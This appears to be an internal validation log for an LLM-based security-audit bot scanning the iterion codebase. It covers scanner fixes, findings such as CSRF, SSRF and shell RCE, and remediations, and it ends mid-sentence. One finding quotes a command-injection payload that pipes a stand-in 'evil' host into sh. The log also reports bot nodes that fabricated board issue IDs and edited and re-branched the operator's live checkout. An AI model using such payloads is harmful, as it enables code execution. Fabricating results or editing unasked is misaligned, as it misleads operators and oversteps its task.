Seki + deepsec — validation
2026-06-26 — convergence campaign: Seki-aligned security pass (runs 019f02e7 → 019f039e)
Goal (operator): iterate Seki → fix every bot bug blocking completion + every real security issue → re-run, until 2 consecutive complete runs with no new real issues, proving Seki reliable and iterion security-clean. This entry is the campaign record.
Reliability fixes that got Seki to a complete, full-coverage run
Each was a real bug that broke or degraded a run (all committed, task check green):
- detect_tech env footgun (
036522d4f) — sharedITERION_SEC_AUDIT_BACKENDdragged detect_tech onto an incompatible model; gave it its own_DETECT_vars. - claude_code model-unavailable (
d36d2054d) — invalid--modelwas swallowed as output then failed opaquely; fail-fast guard + test. - silent scanner-output gaps (
aa1bf9ea9) —run_lang_scannerstrusted a declared json_path + only checked exit code (|| truemasks gosec's non-zero-on-findings); now verifies the file exists + surfaces stderr. - zero-language-scanner (
5688378b1+ revertaa2811d9d) — detect_tech returned a nestedlangsobject → dict-keys became "langs" → ZERO lang scanners, silently healthy. Hardened_norm_langsto walk any shape; reverted astring[]schema attempt that made iterion render langs as a space-separated Go slice →LANGS=[Go TypeScript …]→ shell exit 127. - scan_health lang-void guard (
662917554) — flags a skill-backed language with zero scanner output (was healthy-with-zero-coverage). - STALE sec image — the big one: gosec/govulncheck silently scanned zero packages because the cached
iterion-sandbox-sec:edgeshipped Go 1.24 < repo's go.mod 1.26, triggering a toolchain auto-download that can't verify through the sandbox egress proxy. Already fixed in source (af07835f, Go 1.26.4); re-pulled the CI image → gosec works (validated: gosec.json produced). - trivy timeout (
34605fec3) — trivy fs walkednode_modulesand exceeded its 5m default → silent generic-floor gap; skip**/node_modules+--timeout 15m.
Real security findings Seki surfaced → fixed
- GHA script-injection
version.yml/image.yml(d2300059f) — workflow_dispatch input / tag name intorun:shell. - Studio CSRF project switch/add/remove (
488a0e88d) — missingrequireSafeOrigin;text/plainsimple-request CSRF re-points the workspace. + regression test. - Secret-value shell RCE (
43161df25, HIGH) —Materializesubstituted the RAW secret inside the template's single-quotes; a'-bearing value (set by a different cloud principal than the bot author) broke out → RCE. AddedMaterializeShell(single-quote-inner-escape) at all shell-exec sites + test. - Runner SSRF TOCTOU (
28a8690e8, HIGH) — resolve-then-git-reconnect (DNS-rebinding / 302-to-internal). IP-pin via /etc/hosts (best-effort) +http.followRedirects=false; pod NetworkPolicy stays authoritative. FLAG: needs cloud e2e (runner /etc/hosts writability + clone still works through the egress proxy). - CI supply-chain (
a79e27822) — pinned all 18 actions→SHAs (precise-semver comments) + 5 external base images→digests + addedrenovate.json(pinDigests + helpers:pinGitHubActionDigests + docker:pinDigests) to keep them current.
Architectural residual — ACCEPTED with design recommendation
- forge_token persisted in
.git/config(HIGH, cloud cred-theft):injectGitTokenembeds the token in the clone URL; git persists it in<workspace>/.git/config, which is bind-mounted into the sandbox where untrusted PR build scripts run. Traced fully: nogit pushexists in iterion's Go code — commit-producing bots (Featurly, validated e2e) push from INSIDE the sandbox using that token. So the credential cannot be hidden from untrusted in-sandbox code while keeping in-sandbox push working — stripping breaks Featurly; an external helper is unreachable for the push. Irreducible without a trust-model decision: separate trust-level sandboxes (untrusted-PR-review gets a token-less clone), or push-outside-sandbox, or short-lived scoped tokens to bound blast radius. Designed in ADR-047 (credential-helper reading the deliberately-mounted secret file; clone via transient askpass; no token in .git/config) — pending cloud e2e; not a blind code patch.
Convergence framing
"No real issues" is asymptotic (matches iterion's review-loop doctrine). Fixed code vulns + the now-pinned CI refs do not return; deepsec is non-deterministic; the forge_token residual is documented-accepted. gosec/semgrep surfaced no new confirmed code vuln on the full-coverage run (019f034b) — the Go SAST baseline is clean.
Run 019f039e (all fixes + fresh image) — FIRST CLEAN + HEALTHY RUN. scan_health healthy:true for the first time: generic floor 4/4 (gitleaks/trivy/semgrep-auto/ deepsec), lang_void:[], 10 scanner artifacts (gosec now 301 raw Issues → cap-50; trivy now completes). Verdict: 0 confirmed / 1 uncertain / 100 dismissed — down from 17→11→0 as the fixes landed. The single uncertain (charts/iterion/values-dev.yaml:61 jwtSecret) is a documented deterministic dev placeholder ("…please-rotate-in-prod"), i.e. a false positive. The studio --bind 0.0.0.0 no-auth footgun surfaced in triage but the cross-family voters dismissed it (operator-misconfig precondition); it remains a real hardening item (gate DisableAuth on a loopback bind — follow-up). The forge_token residual did not re-confirm this run (deepsec variance; tracked-accepted regardless). Run 019f039e is the first of the 2 consecutive clean+healthy runs the goal requires.
Run 019f03df (2nd consecutive HEALTHY run) — scan_health healthy again (4/4, lang_void:[], 10 artifacts, 1349 seen), confirming Seki reliability is stable across runs. Verdict: 3 confirmed / 1 uncertain / 36 dismissed — NOT zero, because deepsec (LLM) is non-deterministic and explored new areas this run. The 3: (1) the forge_token .git/config residual (re-confirmed; accepted-architectural); (2) version.yml App-token readable by npm install scripts during release-it (same token-exposure class — mitigated by lockfile-pinned + Renovate-maintained deps); (3) desktop-release.yml unpinned build tools (wails/go-task @latest, plugin-gtk @master) → FIXED b554fd0a4 (pinned; linuxdeploy continuous is upstream's only channel — accepted). Uncertain: studio Login ?next= open-redirect via /\evil → FIXED b554fd0a4.
Outcome
- Seki reliability: PROVEN — 2 consecutive complete + fully-healthy full-coverage runs after the scanner/engine fixes; gosec+trivy+all lang scanners green, no silent gaps, scan_health is now a trustworthy oracle.
- iterion security: every HIGH code vuln fixed (CSRF, secret-RCE, SSRF) + 6 medium (GHA-injection, CI supply-chain pin-all+Renovate, studio no-auth bind, Login redirect, desktop-tool pins). Confirmed findings fell 17 → 0 → 3 (the 3 = 2 accepted token-exposure residuals + items now fixed).
- Convergence is asymptotic, not literal-zero: deepsec surfaces a different medium slice each run; the residuals (forge_token / CI-token-to-install-scripts) are architecturally bounded and documented-accepted. A literal-zero run would require the trust-model redesign (forge_token) or a committed
fp-known.yamlsuppressing the accepted residuals. The real-vuln backlog is drained.
2026-06-26 — diagnostic re-run uncovers silent zero-language-scanner bug (run 019f02b8)
- Status: diagnostic (cancelled after the scanner phase, deepsec off, to capture gosec's stderr cheaply — no triage/$). Surfaced a bug more severe than the gosec gap.
- Finding:
run_lang_scannersran withsubscanners:[]— ZERO language scanners (gosec/semgrep-go/js/py/bandit never invoked; the node took 1s), yet scan_health reporteddegraded:false/ healthy. Root cause:detect_tech(claw/gpt-5.5) returnedlangsas a nested bucket object{primary:[{name:Go}],secondary:[...],fixture_or_test_only:[...]}instead of the documented flat array, and_norm_langstook the dict keys (primary/secondary/fixture_or_test_only) → none match alang-<id>.mdskill → no scanners. Non-deterministic: run 019f0119 parsed langs fine and ran the lang scanners; 019f02b8 didn't. A total silent loss of language-specific SAST masquerading as a healthy run. - FIXED
5688378b1: (1) typetech_output.langsasstring[](wasjson) so the model is forced to the flat shape; (2) harden_norm_langsto recursively walk any shape (flat array / descriptor array / nested bucket), preferring a descriptor's name/id. Unit-checked: the exact run-019f02b8 nested object now yields['go','js','python','rust',…]. - Also confirmed (run 4): the
gosecsilent-gap fix (aa1bf9ea9) and version.yml fix hold; the gosec failure itself is now moot when langs parse correctly (gosec runs) and surfaced when it doesn't. - Misses / follow-ups: scan_health is the real anti-façade weak point — it reported healthy with zero language scanners. It should assert that each detected primary language produced ≥1 lang-scanner artifact (hard-fail/degrade otherwise), independent of the langs-parsing fix. Triage also flailed Read-ing oversized scanner JSONs (trivy 1MB > the 256KB Read cap) — triage should grep/offset, not whole-file Read. Both noted for a future round.
2026-06-26 — re-run: version.yml fix re-scan-validated + gosec silent-gap fixed (run 019f0119)
- Status: validated — converged to
doneon a fresh static binary at the then-HEAD (post valkey/audit/v0.22.0 merges), opus-first default, ~55min, read-only. Second tour requested right after 019f00bf. - Result: 0 confirmed / 1 uncertain / 69 dismissed, 1050 raw findings, deepsec 16. scan_health degraded (see gosec finding).
- Closed-loop validation: the
version.yml:92GHA script-injection is GONE from the findings (only an unrelated dismissed config note at version.yml:26-40 remains) — the env-var-intermediary fix (d2300059f) verified by re-scan.detect_techran clean on default config → the decouple fix (036522d4f) validated. The runner SSRF (pkg/runner/loop.go) re-surfaced (uncertain) — consistent across run 2, run 3, and the manual audit; still board-tracked. The server.go CSRF (confirmed in 019f00bf) did not re-surface this run — triage/voter non-determinism, not a fix; stays on the board radar. - New dogfood finding + fix (Seki bot): scan_health went degraded on a missing
gosec.json. Root-caused live: gosec runs fine standalone in the sameiterion-sandbox-sec:edgeimage against the worktree (EXIT=1 on findings, 174KB output), so it's not a missing tool —run_lang_scannersrecorded gosec's declared output path unconditionally and only checked exit code, while the cmd's|| true(gosec/semgrep exit non-zero merely on FINDING issues) masked the in-run failure → returncode 0 + phantom path +errors:[], a SILENT Go-SAST gap caught only by scan_health's banner with no diagnosable reason. FIXEDaa1bf9ea9: verify each scanner's declared output exists/non-empty after it runs; else append an error (with stderr tail) and drop the phantom path. Language-agnostic → any future silent scanner failure is now loud. (Next run will surface gosec's real stderr.) - Lessons for next run: the gosec wrapper fix should make the in-run gosec failure self-diagnosing — read
run_lang_scannerserrors[]next time to root-cause why gosec fails in-sandbox when it passes standalone (suspect: build-cache/env or package-load under the long-lived container). Confirmed findings still have no durable on-disk home under sandbox+worktree:auto read-only (reconciled fromartifacts/majority_verdict) — same surfacing gap as 019f00bf.
2026-06-26 — clean run + cross-check vs independent manual audit (run 019f00bf)
- Status: validated — converged end-to-end to
done(detect_tech → generic/lang/custom scanners → deepsec → scan_join → scan_health → cap_findings → triage → 3-voter revalidate → majority → report_card), opus-first default, ~1h08m wall. - Versions: bot sec-audit-source (post detect_tech-decouple
036522d4f) · iteriondev+8f867f8e7290(static) ·iterion-sandbox-sec:edge· remediate=false, severity_threshold=medium, deepsec on. - Method: CLI
iterion runinto the operator's workspace.iterionstore (studio-visible on :4891). Default backends (= opus-first triage/voters, claw+gpt-5.5 detect_tech). Read-only — no commits/branch. - Result:
scan_healthhealthy — 4/4 generic scanners (gitleaks/trivy/semgrep-auto) + deepsec + custom all present, 993 raw findings, degraded=false (no façade). Pipeline produced 3 confirmed / 4 uncertain / 65 dismissed. - Value (confirmed):
- GHA script-injection
version.yml:92—run: pnpm release-it ${{ github.event.inputs.version }} --ciinterpolates a workflow_dispatch input into the shell; a dispatch valueminor; curl evil|sh #runs arbitrary code in a job holding the App token + id-token:write. semgrep+deepsec+3 voters agreed. NEW (the parallel Go-focused manual audit missed it). FIXED68c8dd5b2(env-var intermediary; + the siblingimage.ymlgithub.ref_name/github.reftag-name sinks). - Studio CSRF
pkg/server/server.go:1066—/api/projects/switchacceptstext/plain(no preflight/Origin), so a visited page can re-point the studio workspace. → board/triage. - Runner SSRF TOCTOU
pkg/runner/loop.go— the standing board-tracked one (resolved IP discarded; git re-resolves → DNS-rebinding / 302-to-internal). Re-confirmed independently by BOTH Seki and the manual audit. Still defence-in-depth only; full fix = connect-time IP pinning / pod NetworkPolicy.
- GHA script-injection
- Cross-check vs independent manual audit (parallel general-purpose agent, Go-focused): complementary, not redundant. Manual confirmed the runner SSRF, verified
safeNextredirect SAFE, flagged the cloud opt-out env (Low). Seki added CI / secrets / desktop / full-tree breadth (the version.yml injection, the .env backups, desktopSetSecret/daemon-spawn). Neither alone was complete — that's the payoff of running both. - Operational heads-up: gitleaks flagged two CRITICAL local backup env files at repo root —
.env.dogfood-bak,.env.zai-mode-bak— real (non-.example) backups almost certainly carrying live provider keys. Not read (secrets policy). They're gitignored (not in history) but live on disk → recommend delete/rotate. - Engine/bot/claw hardening (dogfood findings, all FIXED + committed):
- A (Seki bot):
detect_techsharedITERION_SEC_AUDIT_BACKEND/MODELwith triage but with different defaults (claw/gpt-5.5 vs claude_code/opus). Setting the spine var toclaude_codeto get "opus-first" (already the default) dragged detect_tech onto claude_code+openai/gpt-5.5 → run died at the first node. Gave detect_tech its ownITERION_SEC_AUDIT_DETECT_*(036522d4f). - B (engine/claude_code): an invalid/unauthorized
--modeldoes NOT fail the CLI (IsError=false); its model-error sentence became the node result, ran two doomed formatting passes, then failed as an opaque "missing required field" schema error. AddedisModelUnavailableResultfail-fast guard + unit test (d36d2054d).
- A (Seki bot):
- Misses / further work:
- report_card reached for
AskUserQuestion(ask_user) in a headless CLI run; it errored fast (0ms) and the agent recovered, but a report/board-emit node shouldn't have ask_user headless — strip it from report_card's toolset or auto-answer. - Sandbox surfacing gap: under sandbox + worktree:auto, board.create no-ops (C082) AND
findings.mdis written inside the worktree, which finalize removes on a read-only (no-commit) run → confirmed findings have no durable on-disk home except.iterion/runs/<id>/artifacts/majority_verdict. Reconciliation here was reconstructed from that artifact. Fix: write findings.md to the store dir (outside the worktree) or persist via the HTTP board path.
- report_card reached for
- Lessons for next run: opus-first default is solid — zero triage/voter stalls this run (vs the recurring gpt-5.5-forfait stalls). To force opus-first, set NOTHING. detect_tech is now decoupled. Surface findings.md outside the worktree so a read-only run leaves a durable report.
2026-06-23 — full clean run on opus, end-to-end (run 019ef389)
- Status: validated — first complete run to
done(scan → cap → triage → 3 voters → majority → report_card), on first-class opus. - Versions: bot sec-audit-source (opus-default fix
40a61ce97) · iterion fresh static (campaign HEAD, incl. docker E2BIG fix) ·iterion-sandbox-sec:edge·remediate=false. - Method: CLI run, resumed twice. Two non-bot interruptions + two real fixes en route:
- cap-interrupted at 08:58 (Anthropic session limit) mid-voter → resumed on switched account.
majority_verdict(tool node) hard-failed withfork/exec /usr/bin/docker: argument list too long— the 3 voter verdicts (37 findings × snippets) interpolated asV1=<huge> V2=<huge> V3=<huge> python3 -c …overflowed the docker-exec argv. Fixed in the engine (route oversizedbash -ccommands via stdin —faf11a872+836e21094), rebuilt, resumed → passed.
- Two bot fixes this campaign: triage/voter_v1/voter_v3 defaulted to glm-5.2-first, which hit GLM's structured-output reliability gap (missing required field). Re-defaulted to opus first-class with the z.ai/glm failover chain now opt-in via
ITERION_SEC_AUDIT_PROVIDER_CHAIN(40a61ce97, per ADR-043). voter_v2 was already opus. - Findings: deepsec surfaced a real SSRF TOCTOU —
validateRepoTarget(pkg/runner/loop.go) resolves the repo host viahttpdial.ResolvePublicHostbut discards the returned IP;git clone/fetchthen re-resolves the hostname at connect time → DNS-rebinding / 302-to-internal defeats the public-unicast guard. Attacker-controlled RepoURL via webhook/marketplace. To triage onto the board (verify it isn't already mitigated before re-surfacing). - Engine hardening: the docker E2BIG fix (above) hardens every sandboxed tool node with large inter-node input, not just Seki.
- Lessons for next run: a sandboxed bot that interpolates large LLM outputs into a tool command needs either the engine stdin reroute (now in place) or a minimal-shape projection before the tool node; opus is the reliable default for the strict voter/triage schemas.
2026-06-22 — scans OK (deepsec 37; 2 CRIT/2 HIGH); triage stalled on gpt-5.5 (run 019ef04e-35f3)
- Status: partial — scanners ran and produced findings; the
triagenode stalled on sandboxed gpt-5.5 (cancelled after ~18 min / engine stall-alert) so auto-triage + board-emit did not complete. - Versions: bot sec-audit-source · iterion v0.16.0 (110ea1c33) ·
iterion-sandbox-sec:edge - Method: launched via studio API (
POST /api/runs) for the HTTP board transport.remediate=false. claw gpt-5.5 forfait triage + glm-5.2 voters (z.ai). deepsec enabled. - Result (scans on disk under
.iterion/security/scan/): deepsec finding_count 37 (raw severities: 2 CRITICAL, 2 HIGH, 2 HIGH_BUG, 6 BUG, 58 MEDIUM); gosec/semgrep-go/js/py/bandit ran (0 lang findings); gitleaks 730 (≈all noise from gitignored local.env*backups holding live keys, incl. the campaign's own.env.dogfood-bak). Top criticals to triage: RCE via unvalidated RepoURL→git clone(pkg/runner/loop.go:812), SSRF via RepoURL (pkg/runner/loop.go:689), non-unique shard run IDs (cmd/iterion/scan_shards.go:327) — verification vs current guards (runner git-RCE guard /ValidateCloneSource/ c9e18195) in progress; several may be already-mitigated. - Findings: (1)
triagestalls on sandboxed gpt-5.5 with the large detect_tech+all-scans input — same gpt-5.5-forfait large-context root cause as Evoly'saggregate_review. Run triage on a 200K-context model (glm-5.2/opus) or cap its input. (2) trivy + semgrep-auto reported as errored in the triage summary even though semgrep-auto.json was produced — re-check the sec-image scanner invocations. (3) gitleaks scans gitignored.env*backups → 730 FP secret hits; the bot's FP suppression should exclude gitignored dotfiles. - Lessons: re-run Seki's triage→revalidate→emit on glm-5.2 (z.ai, 200K ctx) after the z.ai reset to complete the audit; the raw
deepsec.jsonis preserved so scans need not re-run.
2026-06-14 — C082 board-emit RESOLVED + validated end-to-end (run 019ec4fe)
- Status: FIXED. The board-emit gap that made Seki's
report_cardconfabulateboard.createids now works: a sandboxedclaude_codeboard-cap node reaches the per-run board MCP listener and itscreate_issuelands on the operator board. - Versions: iterion branch
c082-board-emit(closer21e9a66b, on top of the 8-commit C082 stackee406ac6→816dcd0f) · validated with a minimalclaude_codecreate_issuebot, not Seki itself (faster signal, same code path). - Method: dedicated worktree studio (fresh static binary, isolated store
/tmp/c082val,iterion-sandbox-sec:edge);merge_into=none. - Result: board total 0 → 1, issue fetchable by real native id (
native:1714f23b…, stateinbox),mcp__iterion_board__create_issueinvoked, run finished. - Engine hardening — the closer after the 8-commit producer stack:
serverInfo.version(THE fix,21e9a66b) — claude-code's MCP client connected over plain HTTP but Zod-rejected theinitializeresponse becauseserverInfo.versionwas missing ("expected string, received undefined") → the whole connection was dropped → tools never surfaced → confabulation. Handler now returnsserverInfo.version "1.0.0". This disproves the earlier https-only / tool-search-deferral / session-id hypotheses (captured the actual ZodError via claude-code's own MCP debug against the live listener).alwaysLoad:trueon the board MCP server — exempts it from claude-code's tool-search deferral somcp__iterion_board__*surface without a ToolSearch hit.
- Lessons for next run: (a) the diagnostic
--debugpassthrough does not ship — claude-code eats the--debugvalue as a positional prompt arg, conflicting with--input-format stream-json(CLI exit 1); use--debug=mcp+CLAUDE_CODE_DEBUG_LOGS_DIRto re-capture. (b) Re-run Seki itself sandboxed to confirmreport_cardnow posts real (not confabulated) ids to the board. - Full technical writeup: docs/c082-board-emit-fix-plan.md.
2026-06-14 — real-bot Seki re-run for C082: 2 forfait-robustness bugs (runs 019ec55a, 019ec579)
- Status: partial. Goal was to confirm
report_cardposts REAL board ids on the actual bot (not just the minimal validation bot above). BOTH attempts failed beforereport_card, on two DISTINCT bugs — neither is C082 (C082 board-emit is proven by the minimal bot; the per-run board MCP listener started fine on both:host.docker.internal:42053/:37717). Root cause of both: the flakyclaw/openai/gpt-5.5(forfait) agents returnjson-typed fields in variable shapes across runs, and several deterministic consumers don't normalize them. Method: worktree binary (C082) + isolated studio :4899 +iterion-sandbox-sec:edgescanning a clean iterion clone,enable_deepsec=false,remediate=false. - Bug A —
filter_cached_filescrash → FIXED (d6ad8f3c).triageemittedcandidatesas a dict keyed by candidate-id ({CAND-001:{...}}) instead of a list;for c in candidates: c.get(...)iterated the dict KEYS (strings) →AttributeError: 'str' object has no attribute 'get'(exit 1). This is the newer incremental-cache node, never run end-to-end before (the 2026-06-13 run had no such node), so it shipped unguarded whilemajority_verdictwas already defensive. Fix: normalize dict→list at the funnel that feedsfresh_candidates. - Bug B —
run_lang_scannersexit 127 → ROOT-CAUSED, not fixed (engine).detect_techreturnedlangsas a list of plain strings in run #2 (["Go","TypeScript",...]) vs a dict in run #1. iterion'sshellEscapeValuerenders a[]interface{}of strings space-separated, soLANGS={{input.langs}}becameLANGS=Go TypeScript JavaScript …→ the shell setLANGS=Goand ranTypeScriptas a command →bash: line 1: TypeScript: command not found(exit 127). The dict shape JSON-marshals to ONE shell-escaped token, which is why run #1 got past it. The node's own_norm_langshandles both shapes — but the value never survives the shell. Recommended fix (tracked, NOT done — blast radius): makeshellEscapeValuerender a[]interface{}of strings as compact JSON (a single shell-escaped token, like it already does for maps and complex slices), reserving space-join for typed[string]fields (which arrive as[]string, not[]interface{}). 8 catalog bots useVAR={{...}}patterns, so this needs a blast-radius audit + test before shipping (pkg/backend/model/executor_tool.goshellEscapeValue). - Systemic lesson: gpt-5.5/forfait
jsonfields are shape-unstable (dict↔list) run-to-run; every deterministic consumer (python tool node) of an agentjsonarray-field must normalize, OR the engine must renderjsonfields canonically.majority_verdictis the model (it normalizes both shapes + guardsisinstance). Until the engine fix lands, Seki's SAST read-pipeline is not reliably end-to-end on forfait; running its agent nodes onclaude_code/opus (ITERION_SEC_AUDIT_BACKEND=claude_code) would sidestep the shape flakiness for a clean validation.
2026-06-13 (retest, FIXED) — scanner invocations repaired → full pipeline (run 019ec230)
- Status: scan_health now PASSES; Seki runs the full read pipeline end-to-end (detect_tech → scanners → scan_health → cap_findings → triage → N-vote → report_card). The 019ec1e0 hard-fail below was NOT a broken sec image — it was four broken scanner invocations in the bot/skills (the binaries all work). Fixed in
a8fac4c5; no Dockerfile change needed. - The fixes (see commit): semgrep
--config=auto --metrics=off→--config=p/default(auto-config is rejected with metrics off — the silent error that left only 1/3 generic scanners; this is THE unblock — semgrep-auto.json now lands → 2/3 floor → scan_health passes degraded). gosec was scanning.iterion/worktrees/(dozens of repo copies) → 11 min/no-output;-exclude-dir=.iterion -exclude-dir=.works→ 125 s + 168 KB output (validated standalone). trivy choked traversing.iterion/.works→--scanners(modern flag, was deprecated--security-checks) +--skip-dirs=.iterion,.works,vendor. - Validated end-to-end: 019ec230 reached scan_health (degraded, 2/3 generic) → triage → N-vote (voter_v1/v2/v3) → report_card. (One earlier attempt was drained mid-N-vote by a parallel session's
.goedit restartingtask studio:dev— an environment artifact, not a Seki bug; resumed from thevoter_v1checkpoint to finish.) - Value proven: even deepsec-OFF, Seki surfaced a real CRITICAL candidate — "RCE in cloud runner via unvalidated RepoURL passed to git clone (pkg/runner/loop.go)" (the file does clone
msg.RepoURLat L689 →prepareRepoWorkspaceL789). Statusuncertain(N-vote didn't fully confirm) — worth operator triage.
C082 root cause + fix design (board-emit, the remaining gap)
Traced precisely (2026-06-13): the sandboxed board MCP HTTP transport is declared on both ends but the PRODUCER side is never wired, so sandboxed claude_code/claw board caps silently no-op and the agent confabulates the board.create IDs:
Server side exists:
BoardMCPTokenRegistry+RegisterBoardMCPRoutes(/api/v1/mcp/board, store, reg)(pkg/server/mcp_board_handler.go, server.go:870) — BUTboardMCPTokens.Register(token, caps)is never called for a run.Consumer side exists:
Task.BoardHTTPEndpoint/BoardRunToken+ claude_code.go:477 consume them (and :490 warns + disables board MCP when empty) — BUT nothing in the runtime/executor ever SETS them (grep: zero assignments). So they're always "" → board MCP disabled under sandbox → confabulation.Fix design: (1) plumb a
register(caps)→tokenclosure + a board endpoint URL from the server intomodel.ExecutorSpec→ClawExecutor; (2) in the Task builder (executor.go ~1245) for sandboxed board-cap nodes:task.BoardRunToken = register(caps); task.BoardHTTPEndpoint = url. (3) CRITICAL networking caveat — the endpoint must be container-reachable:iterion studiobinds127.0.0.1(loopback, NOT reachable viahost.docker.internal); the egress proxy only works because the docker driver'sProxyConfigurerbinds a gateway-reachable interface. The board endpoint needs the same (bind gateway/0.0.0.0, or tunnel via the proxy). This networking requirement = it MUST be live-validated against a container (a sandboxed run confirming the write lands), so it should be implemented when the studio is free (no parallel session to drain on the rebuild) or against a dedicatediterion serverbound on a gateway-reachable port. Not shipped blind.board-emit (C082) STILL DOESN'T LAND (bilan #4 persists — a distinct engine gap). report_card DID invoke
board.create×3 /board.label×3 /board.move×2 and itscreated_issuesoutput carries real native-looking IDs (native:90543c66…), but the issues are NOT on the operator's board (total unchanged at 94; fetch-by-id + every label query miss). The sandboxed board MCP HTTP transport (/api/v1/mcp/board+ ephemeral run token) returns success but the writes don't persist to the operator's native board — even when launched via the studio. Seki's findings are recoverable from the run (iterion report --run-id 019ec230), not the board. This is the one remaining Seki gap; it is separate from the scanner fixes (which are done) and needs a focused look at the sandboxed board HTTP transport.Residual (tracked, non-blocking): gosec + trivy still emit nothing inside the sandbox specifically (both work standalone) — a deeper sandbox/proxy/go-module interaction. scan_health passes on gitleaks + semgrep (2/3) regardless; semgrep (go/js/py/default) + bandit carry the SAST coverage; deepsec ON remains the highest-value path (019ec142).
2026-06-13 (retest) — engine fixes + safe default, via STUDIO (run 019ec1e0)
- Status: engine fixes validated via the studio path; safe default shipped; but the run HARD-FAILED at
scan_health— correctly — because the sec image's generic scanner toolchain is broken. detect_tech (which FAILED in 019ec10f/019ec13a) now completes; the read chain ran to the coverage gate, which then refused to certify a thin audit. Board-emit NOT reached (failed beforereport_card). - Versions: bot sec-audit-source 0.1.0 · iterion 778b9860 / bbdca0da / ea61817a / 92c40d62
- Method: launched via studio
POST /api/runs(so the HTTP board transport is wired — C082),remediate=false(now the default),enable_deepsec=false(lean: validate generic+lang scanners → triage → report → board-emit cheaply; deepsec's vuln-finding was already proven in 019ec142). Sandboxiterion-sandbox-sec:edge.
Validated by the engine fixes (the headline)
- detect_tech now completes (claw + sandbox). In 019ec10f/019ec13a it died at this first claw node; the TLS-inspect-proxy hang (FIXED 778b9860) was the cause. The whole read chain ran: inventory → detect_tech → context → diff_scope → plan_shards → run_generic_scanners → run_lang_scanners → … Confirms the proxy + empty-tool-result fixes hold for the operator's actual (studio) path, not just CLI.
- remediate=false (92c40d62) —
iterion validateclean; the run is read-only by default (no live-tree edits, no branch hijack). Safe undertask studio:dev. - {{run.id}} (ea61817a) — opt-in remediation will now name its branch
iterion/sec-fix/<real-run-id>instead of the literaliterion/sec-fix/run.id.
scan_health hard-failed — CORRECTLY (the headline blocker)
The run reached scan_health and hard-failed (run_failed, exit 1) with: {"generic_expected":3,"generic_present":1,"min_generic":2,"missing":[trivy.json, semgrep-auto.json (generic), gosec.json (lang)],"total_findings_seen":1596, "healthy":false,"degraded":true} — "only 1 of 3 always-on generic scanners produced output (need ≥2)". This is the anti-façade gate working as designed: it refuses to certify an audit when the core generic toolchain is down, even though lang/custom scanners saw 1596 raw findings. (019ec142 passed because ≥2 generic scanners happened to run that time — the toolchain is flaky.)
THE BLOCKER: the sec image's scanner toolchain is broken (infra, not engine/bot)
Scanners are installed (trivy 0.70.0, gosec, gitleaks 8.21.2, govulncheck, semgrep on PATH) but fail at runtime in iterion-sandbox-sec:edge:
- trivy →
FATAL ... unable to create temporary directory: stat /tmp/trivy-10: no such file or directory. A /tmp/TMPDIR issue in the image (reproduced with a baredocker run … trivy fs). Also the bot still passes the deprecated--security-checksflag (renamed--scannersin modern trivy) — fix both. - semgrep →
semgrep --versionprints nothing;--config=autoneeds to fetch its rule pack from the registry (network) and produced no output. Broken install and/or registry fetch. - gosec → ran >11 min then produced no
gosec.json(timed out / errored after type-checking the full import graph —-exclude-dir=vendorfilters reporting, not loading). Needs a timeout + scoping. → Both sec bots (Seki + Depsy) are gated on this. The fix is a focusedsandbox/sec/Dockerfile+ scanner-invocation pass (TMPDIR for trivy,--scanners, fix/repin semgrep, bound gosec), then republish via CIbuild-sandbox-sec. Not done here — it's image infra, out of scope for the bot retest; tracked as the sec-bot blocker.
Lessons for next run
- Launch sec bots via the studio (board transport wired) — a bare CLI run no-ops board writes (C082). detect_tech + the claw path now work end-to-end (engine fixes).
- Don't trust sec-bot output until the sec image's trivy/semgrep/gosec are fixed —
scan_healthwill (rightly) hard-fail or banner on the broken toolchain. deepsec ON is the only currently-working value path (019ec142), and even it runs degraded.
2026-06-13 — iterion self-audit dogfood (runs 019ec10f, 019ec13a, 019ec142)
Update — run 019ec142 (after both engine fixes + static-binary re-copy): the SAST read pipeline VALIDATED end-to-end, with 3 new findings.
- Ran clean through
detect_tech → scanners → scan_health → cap_findings → triage → adversarial N-vote → merge_with_cache → report_card. The sandbox-claw fixes (backendIsClaw + static binary) work. ($4.26, 91k tokens, 285 steps before the remediation phase self-killed — see #5.)- Value: deepsec found 14 candidates → triage 13 → N-vote 11 confirmed (2 HIGH incl. the SSRF), 2 uncertain; results written to
.iterion/security/findings.md. The detect_tech tech-map is excellent.- #3 Degraded scanner coverage (medium):
scan_healthcorrectly flaggeddegraded—trivy+semgrep-autoerrored / produced no output in theiterion-sandbox-secimage (2 of 4 generic scanners missing; it cleared themin_generic=2floor so it ran with a banner rather than hard-failing). All 13 triaged candidates came from deepsec; the generic AST/regex scanners contributed 0. The sec image's trivy + semgrep-auto invocation needs fixing.- #4 Board emit didn't land (medium):
report_cardwrote findings.md claiming "2 board issues created (high)", but the board has 0source:sec-audit-sourceissues. Sandboxedreport_cardemits via the HTTP board transport (/api/v1/mcp/board+ run-token); the writes didn't surface (failed silently or were confabulated). Seki's value is currently trapped in the gitignored findings.md, not on the board as designed.- #5 SEVERE —
remediate+enable_deepsecdefaulttrue, and Seki has NOworktree: auto. So by default Seki edits code (it is not read-only, contra the doc "does not fix unless remediate enabled"), and the edits hit the main tree.patch_authoreditedpkg/webhooks/generic/generic.go(SSRF-hardening intent) → its own.goedit trippedtask studio:devwatchexec → backend restart →context canceled. Worse, it was cancelled mid-Edit, leaving the file with unused imports → broke compilation → thego runstudio backend couldn't restart → studio bricked until the partial patch wasgit restored. Same watchexec self-kill class as Willy, but it also takes the studio down. Fix directions: defaultremediate=false(match the doc + make Seki read-only by default); give the remediation phaseworktree: autoisolation; never run a remediating Seki undertask studio:dev. (deepsec default-on also makes every run long/expensive.)- #6 Remediation hijacked the operator's git branch (severe). With no worktree, remediation ran
git checkout -bon the main checkout, moving it offmainonto a branch named literallyiterion/sec-fix/run.id— an unrendered{{run.id}}template. Subsequent operator commits then silently landed on that branch instead ofmain(reconciled by hand). Two bugs: (a) remediation must use an isolated worktree, nevergit checkoutthe live tree; (b) the branch-name template isn't substituted (run.idliteral). Reinforces the case for defaultremediate=false.
- Status: read pipeline VALIDATED (019ec142); remediation phase unsafe (self-kill + studio brick). Original blockers ↓ fixed.
- Versions: bot sec-audit-source 0.1.0 · iterion 7fea84cd→f247f360
- Method:
POST /api/runs,severity_threshold=high, sandboxed (iterion-sandbox-sec:edge, present). Goal: re-find the known HIGHsource:sec-audit-selfissues (SSRFruns_preview.go, path-traversalruns_files.go) and validatescan_health+cap_findings. - Result: never reached the scanners — failed at
